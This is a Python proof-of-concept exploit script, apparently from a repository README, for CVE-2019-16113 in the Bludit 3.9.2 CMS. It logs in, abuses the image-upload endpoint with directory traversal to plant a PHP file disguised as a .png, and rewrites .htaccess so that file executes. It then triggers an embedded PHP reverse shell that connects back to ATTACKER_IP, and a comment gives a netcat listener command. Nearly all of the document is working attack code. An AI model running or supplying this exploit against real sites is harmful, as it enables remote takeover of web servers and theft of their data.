README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import string
import random
import requests
import re
import socket
"""
This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability
CVE-2019-16113
Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered
with a .jpg (or .png) file name, and then this PHP code can write other PHP code to a ../ pathname.
Original credit:
christasa # Original discovery
sinn3r # Metasploit Module
https://www.exploit-db.com/exploits/47699
"""
##########################
# Modify as needed
TARGET_URI = "http://127.0.0.1"
# Target Bludit credentials
USERNAME = "user"
PASSWORD = "password"
# For reverse shell
# Setup listner prior to execution: nc -lvp 303
ATTACKER_IP = '127.0.0.1'
ATTACKER_PORT = '303'
##########################
# Payload to be sent and executed on target
# https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
PAYLOAD = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = \'' + ATTACKER_IP + '\'; $port = ' + ATTACKER_PORT + '; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \'uname -a; w; id; /bin/sh -i\'; $daemon = 0; $debug = 0; if (function_exists(\'pcntl_fork\')) {$pid = pcntl_fork(); if ($pid == -1) {printit("ERROR: Can\'t fork"); exit(1);} if ($pid) {exit(0);} if (posix_setsid() == -1) {printit("Error: Can\'t setsid()"); exit(1);} $daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");} chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) {printit("$errstr ($errno)"); exit(1);} $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {printit("ERROR: Can\'t spawn shell"); exit(1);} stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated"); break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated"); break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);} if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input);}} fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}} ?>'
# Create a persistent session to ensure BLUDIT-KEY cookie is obtained and sent with subsequent requests
SESSION = requests.session()
def random_string():
"""
Generates a 10 character random string utilized for payload file name
"""
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(10))
EXPLOIT_FILENAME = random_string()
def get_csrf_uuid(url, get_uuid=0):
"""
Returns the hidden form field value of jstokenCSRF that is requried for form submissions
Optional: this function will also return the uuid hidden form field value if get_uuid is provided during call
"""
try:
response = SESSION.get(url)
except requests.exceptions.RequestException as e:
print('[!] Falied sending HTTP request: ' , e)
sys.exit(1)
# Extract the CSRF token value field from thge HTML response with regex
csrf_token = re.search('(?<=name="tokenCSRF" value=")([a-z0-9]+)(?=">)', response.text).group(0)
# If we need the uuid value as well, extract and return
if(get_uuid):
uuid_value = re.search('(?<=name="uuid" value=")[a-z0-9]+(?=">)', response.text).group(0)
return csrf_token, uuid_value
else: # otherwise just return the CSRF token
return csrf_token
def do_login():
"""
Utilizes the declared USERNAME and PASSWORD to create a valid user session
"""
url = TARGET_URI + '/admin/login.php'
# Obtain the CSRF token for login form submission
csrf_token = get_csrf_uuid(url)
# Attempt the login
try:
response = SESSION.post(url, data = {'tokenCSRF':csrf_token, 'username': USERNAME, 'password': PASSWORD})
except requests.exceptions.RequestException as e:
print('[!] Falied sending HTTP request.', e)
sys.exit(1)
# Verify that the login was successful
if re.search('(?<=<title>)(Bludit - Dashboard)(?=<\/title>)', response.text):
print('[+] Login successful!')
else:
print('[!] Login Failure. Do you have the correct credentials?')
sys.exit(1)
def exploit():
"""
First sends the payload as a multi-part HTTP POST request that creates a randomly named .png file containing
malicious PHP before sending a request to modify the content of .htaccess to disable the RewriteEngine and
handle .png file requests as application/x-httpd-php MIME type.
"""
# Obtain the CSRF token for form submission
csrf_token, uuid = get_csrf_uuid(TARGET_URI + '/admin/new-content/index.php', 1)
url = TARGET_URI + '/admin/ajax/upload-images'
# Send request to create malicious .png within the /bl-content/tmp directory
files = {'images[]': (EXPLOIT_FILENAME + '.png', PAYLOAD), 'uuid': (None, '../../tmp'), 'tokenCSRF': (None, csrf_token)}
try:
response = SESSION.post(url, files=files)
except requests.exceptions.RequestException as e:
print('[!] Falied sending HTTP request: ' , e)
sys.exit(1)
# Verify it was successful
if response.status_code == 200:
print('[+] Upload of malicious file ' + EXPLOIT_FILENAME + '.png successful!')
else:
print('[!] Error creating malicious .png file. Received HTTP response code: ' + response.status_code)
sys.ext(1)
# Disable RewriteEngine and change MIME type for .png files to application/x-httpd-php
files = {'images[]': ('.htaccess', 'RewriteEngine off\nAddType application/x-httpd-php .png'), 'uuid': (None, uuid), 'tokenCSRF': (None, csrf_token)}
try:
response = SESSION.post(url, files=files)
except requests.exceptions.RequestException as e:
print('[!] Falied sending HTTP request: ' , e)
sys.exit(1)
# Verify it was successful
if response.status_code == 200:
print('[+] Modification of .htaccess successful!')
else:
print('[!] Error modifying .htaccess. Received HTTP response code: ' + response.status_code)
sys.ext(1)
def spawn_shell():
"""
Send a GET request for the newly created malicious .png file within the /bl-content/tmp directory. If the
exploit was sucessful, this will execute our malicious code.
"""
url = TARGET_URI + '/bl-content/tmp/' + EXPLOIT_FILENAME + '.png'
print('[+] Sending request to spawn shell. You may Crtl+C this program once shell is recieved.')
try:
response = requests.get(url)
except requests.exceptions.RequestException as e:
print('[!] Falied sending HTTP request: ' , e)
sys.exit(1)
do_login()
exploit()
spawn_shell()